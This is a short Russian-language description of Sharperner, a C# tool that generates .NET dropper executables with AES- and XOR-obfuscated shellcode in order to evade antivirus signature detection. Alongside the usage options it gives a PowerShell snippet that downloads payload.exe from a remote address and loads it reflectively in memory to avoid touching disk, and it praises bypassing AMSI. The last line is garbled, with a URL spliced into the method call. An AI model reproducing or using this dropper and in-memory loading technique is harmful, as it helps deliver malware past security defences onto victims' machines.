
Простой генератор исполняемых файлов с зашифрованным шеллкодом.
Sharperner — это инструмент, написанный на CSharp, который генерирует .NET дроппер с обфусцированным с помощью AES и XOR шеллкодом. Сгенерированный исполняемый файл может обойти проверку сигнатур, но я не могу быть уверен, что он обойдет эвристическое сканирование.
/file B64,hex,raw shellcode
/type cs,cpp
/out Output file Location (Optional)
Example:
Sharperner.exe /file:file.txt /type:cpp
Sharperner.exe /file:file.txt /out:payload.exe
Чтобы избежать касания диска, сгенерированный .NET исполняемый файл можно загрузить рефлективно с помощью PowerShell. AMSI — враг, amsi.fail рулит!
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[TotallyNotMal.Program]:https://raw.githubusercontent.com/aniqfakhrul/sharperner/HEAD/:Main()